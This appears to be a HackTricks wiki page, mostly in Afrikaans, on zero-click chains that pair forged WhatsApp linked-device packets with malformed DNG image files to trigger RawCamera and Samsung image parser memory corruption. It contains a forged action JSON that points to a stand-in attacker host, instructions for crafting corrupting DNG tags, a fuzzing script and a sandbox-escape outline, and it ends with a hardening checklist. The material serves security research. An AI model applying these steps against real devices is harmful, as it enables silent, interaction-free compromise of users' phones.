Zero-click Messaging → Image Parser Chains
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
TL;DR
- Treat messaging app multi-device/companion protocols as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with 0 user interaction.
- Once any app can be coerced into fetching untrusted media, target the shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) with malformed files to pivot out of the sandbox.
- The DNG-based RawCamera and Samsung parser bugs discussed here are concrete examples, but the full technique is a reusable blueprint for chaining logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
Die WhatsApp “linked devices” argitektuur hou die primêre foon en elke compagnon (desktop, tablet, sekondêre foon) in sinchronisasie via enkripteerde, gestruktureerde protokolboodskappe. Elke boodskap enkodeer:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (bv., sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters soos URIs, MIME hints, pagination keys, ens.
Op Apple-kliente het die handler wat hierdie linked-device control packets verwerk, implisiet vertrou dat ’n geldige koppeling reeds plaasgevind het, so hoë-impak-velde (bv., resource_url, open_media, sync_snapshot) is slegs minimaal gevalideer. ’n Kwaadwillige compagnon-boodskap kon dus:
- Na enige rekening gerig word wat deur sy telefoonnommer geïdentifiseer is.
- Die transport-stack oorleef (Noise protocol + WhatsApp protobuf framing) omdat die ontvanger nooit verifieer het dat die sender ’n wettig gekoppelde toestel was nie.
- Die iOS-kliënt bereik, waar die kwesbare kodepad outomaties ’n agtergrond HTTP(S)-versoek na die aanvallers-URL geaktiveer het en die reaksie in ’n verborge WebView/media renderer ontleed het.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Sluit ’n debugger of Frida-script aan by die desktop/iOS-kliënt en plaas ’n hook op die post-decryption handler (bv.,
LinkedDevicesSyncHandler::processAction). Skryf die gedekodeerde protobuf-payloads uit om beskikbare aksietipes en parameters te leer. - Identify fields that cross trust boundaries. Identifiseer velde wat vertrouensgrense oorsteek. Enige aksie wat
http_url,thumbnail_uri,download_url, ofrender_htmlparameters dra sonder streng allow-lists is ’n kandidaat remote-content primitive. - Forge a malicious action. Hergebruik die waargenome protobuf-skema en wysig slegs die deur die aanvaller beheerde velde. ’n Vereenvoudigde JSON-uitsig van die relevante logiese struktuur word hieronder getoon (die werklike transport is protobuf/Noise, maar die semantiese velde stem ooreen):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Lewer aan die slagoffer. Speel die vervaardigde pakket deur dieselfde WhatsApp-diens wat normaalweg linked-device-verkeer deurstuur (bv. met ’n gemodifiseerde desktop-kliënt of ’n custom Noise client wat jou aanvallers-rekeningsleutels hergebruik). Omdat CVE-2025-55177 versuim het om aksies aan geverifieerde toestelle te koppel, sou die slagoffer se iOS/macOS-kliënt die boodskap aanvaar en onmiddellik die aanvallers-URL haal sonder enige UI.
- Instrumenteer die fetch. Observeer die gedwonge HTTP(S)-versoek en die interne renderer (WKWebView/ImageIO). Op hierdie punt besit jy ’n zero-click web delivery primitive binne WhatsApp.
Weaponizing auto-decoded DNGs against RawCamera
Sodra die aanvaller beheer het oor wat WhatsApp laai, is die volgende doelwit om iOS/macOS ’n kwaadwillige Digital Negative (DNG)-lêer met die RawCamera-framework te laat parse. Enige ingeslote <img>/CSS URL wat na ’n .dng ontleed, sal aan die stelsel se beeldpyplyn deurgegee word en RawCamera aanroep, selfs al het WhatsApp self nooit DNGs eksplisiet hanteer nie.
Triggering RawCamera from WhatsApp
- Bedien HTML wat na die DNG verwys via verskeie meganismes (bv.
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), of<picture>-bronne) om verskillende render-paaie te dek. - Verseker die korrekte MIME (
image/x-adobe-dng) en klein voorskoue sodat die laaier nie vroegtydig opgee weens grootte-heuristieke nie. - Die iOS media sandbox sal die lêer na RawCamera stream via
CGImageSourceCreateWithURL, en uiteindelik die kwesbare decoder tref.
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
Die gereproduceerde fout het staatgemaak op inkonsekwente metadata wat buffer-toewysing desinchroniseer van die werklike pixellees. Tipiese hefbome sluit in:
- Tile/strip descriptors: Stel
TileByteCounts/StripByteCountsop realistiese waardes maar verhoogTileOffsetssodat dit na plekke buite die toegewyde buffer wys. - Sub-IFD chains: Sluit sekondêre beelde in met konflikterende
ImageWidth/ImageLengthenBitsPerSamplesodat RawCamera ’n klein buffer reken terwyl later stadiums dimensies aanvaar wat deur die aanvaller beheer word. - Opcode metadata: Manipuleer
OpcodeList3-inskrywings sodat per-ry verwerking op indekse werk wat deur die aanvaller gekies is.
’n Basiese mutasieharnas om vir sulke korrupsies te jag kan rondom macOS opgebou word, aangesien dieselfde RawCamera-kode op macOS/iOS/iPadOS verskaf word:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Elke crash in RawCamera gee jou ’n nuwe primitive. Die gepubliseerde PoC het ’n netjiese out-of-bounds read/write bewerkstellig wat betroubaar genoeg was om WhatsApp op iPhone, iPad, en Mac te crash.
Bou van die 0-click-ketting
- Linked-device packet → dwing WhatsApp om
https://evil.example/payload.htmlte haal sonder enige klikke. - Payload HTML → verwys stilletjies na
evil.dng, wat waarborg dat RawCamera deur die OS mediastapel aangeroep word. - Malicious DNG → misbruik aangemaakte tags om die RawCamera OOB te trigger en die image decoder te crash/own.
- Post-corruption exploitation → voeg info-leak gadgets by (bv. deur voorspelbare heap metadata te misbruik) en stel ’n ROP/JOP-ketting op om uit die WhatsApp sandbox te breek en na meer bevoorregte kontekste te gaan.
Omdat elke stap outomaties is, het die aanvaller slegs die teiken se telefoonnommer nodig. Geen kennisgewings, banners of prompts word op die teikenapparaat getoon nie.
Samsung vendor image parser parallelle
Samsung se bulletin vir CVE-2025-21043 het bevestig dat hul eiegemaakte image parsing stack (gebruik deur Gallery, Messages, en ook indirek deur WhatsApp) ’n out-of-bounds write gehad het wat bereikbaar was deur onbetroubare media. Die exploitation methodology weerspieël die Apple-ketting:
- Identifiseer ’n auto-preview vektor (chat thumbnails, notification previews, share sheets) wat die aanvallerlêer ontleed met Samsung se
libimagecodec/libOneUI_ImageDecoderbiblioteke. - Vergelyk OEM-biblioteekopdaterings of fuzz parsers met verkeerd gevormde RAW/DNG-lêers totdat jy geheue-korrupsies sien soortgelyk aan die RawCamera crash (heap metadata clobber, register control, etc.).
- Lewer die vervaardigde lêer deur enige kanaal wat reeds inhoud outomaties laai (bv. dieselfde linked-device primitive, WhatsApp preview fetchers, of Android’s push-to-talk waveform previews).
Sodra ’n OOB write in die vendor-parser bestaan, lewer die kombinasie daarvan met die WhatsApp auto-fetch primitive nog ’n zero-click chain op Samsung-toestelle.
Toetsing en verharding - kontrolelys
- Protokol-validasie: Handhaaf streng allow-lists vir elke linked-device-aksie. Metgesel-opdragte wat ’n fetch/render versoek moet toestel-koppeling bewys (deur die payload te onderteken) en die URL moet by ’n allow-list of ondertekende blob pas.
- Transport replay countermeasures: Bind elke aksie aan ’n per-toestel sleutel en verwerp pakkette waarvan die sender sleutel onbekend is, selfs al is die protobuf sintaks korrek.
- Media pipeline restrictions: Hoëvlak apps moet slegs goedgekeurde MIME-tipes toelaat en RAW/DNG uitdruklik verwerp tensy die funksie benodig word.
- Parser fuzzing regression tests: Hou ’n corpora van verkeerd gevormde RAW/DNG-lêers en hardloop dit teen RawCamera/vendor-decoders ná elke opdatering.
- Crash triage automation: Koppel
DYLD_INSERT_LIBRARIESsanitizers of MTE op fuzz-toestelle om subtiele OOB-toestande vas te vang voordat aanvallers dit doen.
References
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


